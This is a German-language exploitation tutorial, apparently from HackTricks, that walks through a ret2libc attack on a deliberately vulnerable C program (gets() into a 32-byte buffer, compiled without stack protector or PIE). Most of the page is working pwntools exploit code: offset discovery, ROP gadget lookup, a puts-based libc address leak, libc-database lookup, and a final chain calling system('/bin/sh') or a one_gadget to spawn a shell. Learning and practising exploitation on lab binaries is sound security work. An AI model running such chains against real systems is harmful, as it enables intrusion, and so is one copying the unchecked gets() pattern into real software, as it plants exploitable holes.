14 KiB
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories senden.
Kurze Zusammenfassung
- Ermitteln Sie den Overflow-Offset
- Finden Sie die Gadgets
POP_RDI
,PUTS_PLT
undMAIN_PLT
- Verwenden Sie die zuvor gefundenen Gadgets, um die Speicheradresse von puts oder einer anderen libc-Funktion zu leaken und die libc-Version zu ermitteln (herunterladen)
- Mit der Bibliothek berechnen Sie den ROP und nutzen ihn aus
Weitere Tutorials und Binaries zum Üben
Dieses Tutorial wird den Code/Binary aus diesem Tutorial ausnutzen: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Weitere nützliche Tutorials: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
Code
Dateiname: vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - Leaking LIBC Vorlage
Ich werde den Code verwenden, der sich hier befindet, um den Exploit zu erstellen.
Laden Sie den Exploit herunter und platzieren Sie ihn im selben Verzeichnis wie die verwundbare Binärdatei und geben Sie die benötigten Daten an das Skript weiter:
{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}
1- Ermitteln des Offsets
Die Vorlage benötigt ein Offset, bevor der Exploit fortgesetzt werden kann. Wenn keines angegeben ist, wird der erforderliche Code ausgeführt, um es zu finden (standardmäßig OFFSET = ""
):
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
Ausführen Sie python template.py
, um eine GDB-Konsole zu öffnen, in der das Programm abstürzt. Führen Sie innerhalb dieser GDB-Konsole den Befehl x/wx $rsp
aus, um die Bytes zu erhalten, die den RIP überschreiben sollten. Ermitteln Sie schließlich den Offset mithilfe einer Python-Konsole:
from pwn import *
cyclic_find(0x6161616b)
Nachdem Sie den Offset (in diesem Fall 40) gefunden haben, ändern Sie die OFFSET-Variable in der Vorlage mit diesem Wert.
OFFSET = "A" * 40
Eine andere Möglichkeit besteht darin, pattern create 1000
-- execute until ret -- pattern seach $rsp
von GEF zu verwenden.
2- Auffinden von Gadgets
Jetzt müssen wir ROP-Gadgets in der Binärdatei finden. Diese ROP-Gadgets werden nützlich sein, um puts
aufzurufen und die verwendete libc zu finden, und später den endgültigen Exploit auszuführen.
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
Das PUTS_PLT
wird benötigt, um die Funktion puts aufzurufen.
Das MAIN_PLT
wird benötigt, um die Hauptfunktion erneut aufzurufen, nachdem eine Interaktion stattgefunden hat, um den Overflow erneut auszunutzen (unendliche Runden der Ausnutzung). Es wird am Ende jedes ROP verwendet, um das Programm erneut aufzurufen.
Das POP_RDI wird benötigt, um einen Parameter an die aufgerufene Funktion zu übergeben.
In diesem Schritt müssen Sie nichts ausführen, da pwntools während der Ausführung alles finden wird.
3- Suchen der LIBC-Bibliothek
Jetzt ist es an der Zeit herauszufinden, welche Version der libc-Bibliothek verwendet wird. Dazu werden wir die Adresse der Funktion puts im Speicher leaken und dann nachschauen, in welcher Bibliotheksversion sich die puts-Version an dieser Adresse befindet.
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
Um dies zu tun, ist die wichtigste Zeile des ausgeführten Codes:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
Dies sendet einige Bytes, bis das RIP überschrieben ist: OFFSET
.
Dann wird die Adresse des Gadgets POP_RDI
gesetzt, damit die nächste Adresse (FUNC_GOT
) im RDI-Register gespeichert wird. Dies geschieht, weil wir puts aufrufen möchten und ihm die Adresse von PUTS_GOT
als Speicheradresse der puts-Funktion gespeichert ist, die durch PUTS_GOT
angezeigt wird.
Danach wird PUTS_PLT
aufgerufen (mit PUTS_GOT
im RDI), sodass puts den Inhalt innerhalb von PUTS_GOT
(die Adresse der puts-Funktion im Speicher) liest und ausgibt.
Schließlich wird die Hauptfunktion erneut aufgerufen, damit wir den Überlauf erneut ausnutzen können.
Auf diese Weise haben wir die puts-Funktion getäuscht, die Adresse der Funktion puts (die sich in der libc-Bibliothek befindet) auszugeben. Jetzt, da wir diese Adresse haben, können wir herausfinden, welche libc-Version verwendet wird.
Da wir eine lokale Binärdatei ausnutzen, ist es nicht erforderlich, herauszufinden, welche Version von libc verwendet wird (nur die Bibliothek in /lib/x86_64-linux-gnu/libc.so.6
finden).
In einem Fall von Remote-Exploits werde ich hier erklären, wie Sie es finden können:
3.1- Suchen nach libc-Version (1)
Sie können auf der Webseite https://libc.blukat.me/ suchen, welche Bibliothek verwendet wird.
Es ermöglicht Ihnen auch das Herunterladen der entdeckten Version von libc.
3.2- Suchen nach libc-Version (2)
Sie können auch Folgendes tun:
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
Dies dauert einige Zeit, seien Sie geduldig.
Damit dies funktioniert, benötigen wir:
- Libc-Symbolname:
puts
- Durchgesickerte libc-Adresse:
0x7ff629878690
Wir können herausfinden, welche libc höchstwahrscheinlich verwendet wird.
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
Wir haben 2 Übereinstimmungen (versuche die zweite, wenn die erste nicht funktioniert). Lade die erste herunter:
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
Kopieren Sie die libc von libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
in unser Arbeitsverzeichnis.
3.3- Andere Funktionen zum Auslesen
puts
printf
__libc_start_main
read
gets
4- Finden der basierten libc-Adresse und Ausnutzung
An diesem Punkt sollten wir die verwendete libc-Bibliothek kennen. Da wir eine lokale Binärdatei ausnutzen, werde ich einfach /lib/x86_64-linux-gnu/libc.so.6
verwenden.
Ändern Sie also am Anfang von template.py
die Variable libc in: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Setzen Sie den Bibliothekspfad, wenn Sie ihn kennen
Indem wir den Pfad zur libc-Bibliothek angeben, wird der Rest des Exploits automatisch berechnet.
In der Funktion get_addr
wird die Basisadresse von libc berechnet:
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
{% hint style="info" %} Beachten Sie, dass die endgültige Basisadresse von libc mit 00 enden muss. Wenn das nicht der Fall ist, haben Sie möglicherweise eine falsche Bibliothek geleakt. {% endhint %}
Dann werden die Adresse der Funktion system
und die Adresse des Strings "/bin/sh" aus der Basisadresse von libc und der gegebenen libc-Bibliothek berechnet.
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
Endlich wird der Exploit für die Ausführung von /bin/sh vorbereitet und gesendet:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
Lassen Sie uns dieses letzte ROP erklären.
Das letzte ROP (rop1
) endete erneut mit dem Aufruf der Hauptfunktion, daher können wir den Overflow erneut ausnutzen (deshalb ist hier wieder der OFFSET
). Dann möchten wir POP_RDI
aufrufen, der auf die Adresse von "/bin/sh" (BINSH
) zeigt, und die Funktion system (SYSTEM
) aufrufen, da die Adresse von "/bin/sh" als Parameter übergeben wird.
Schließlich wird die Adresse der Exit-Funktion aufgerufen, damit der Prozess ordnungsgemäß beendet wird und keine Warnung generiert wird.
Auf diese Weise führt der Exploit eine /bin/sh Shell aus.
4(2)- Verwendung von ONE_GADGET
Sie könnten auch ONE_GADGET verwenden, um anstelle von system und "/bin/sh" eine Shell zu erhalten. ONE_GADGET findet in der libc-Bibliothek eine Möglichkeit, mit nur einer ROP-Adresse eine Shell zu erhalten.
Normalerweise gibt es jedoch einige Einschränkungen, die häufigsten und einfachsten zu vermeidenden sind wie [rsp+0x30] == NULL
. Da Sie die Werte im RSP kontrollieren, müssen Sie nur einige weitere NULL-Werte senden, um die Einschränkung zu umgehen.
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
EXPLOIT-DATEI
Sie können hier eine Vorlage finden, um diese Schwachstelle auszunutzen:
{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}
Häufige Probleme
MAIN_PLT = elf.symbols['main'] nicht gefunden
Wenn das Symbol "main" nicht existiert, können Sie einfach herausfinden, wo sich der Hauptcode befindet:
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
und setzen Sie die Adresse manuell:
MAIN_PLT = 0x401080
Puts nicht gefunden
Wenn die Binärdatei Puts nicht verwendet, sollten Sie überprüfen, ob sie stattdessen Folgendes verwendet:
sh: 1: %s%s%s%s%s%s%s%s: nicht gefunden
Wenn Sie nach der Erstellung des gesamten Exploits diesen Fehler finden: sh: 1: %s%s%s%s%s%s%s%s: nicht gefunden
Versuchen Sie, 64 Bytes von der Adresse von "/bin/sh" abzuziehen:
BINSH = next(libc.search("/bin/sh")) - 64
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den HackTricks und HackTricks Cloud Github-Repositories einreichen.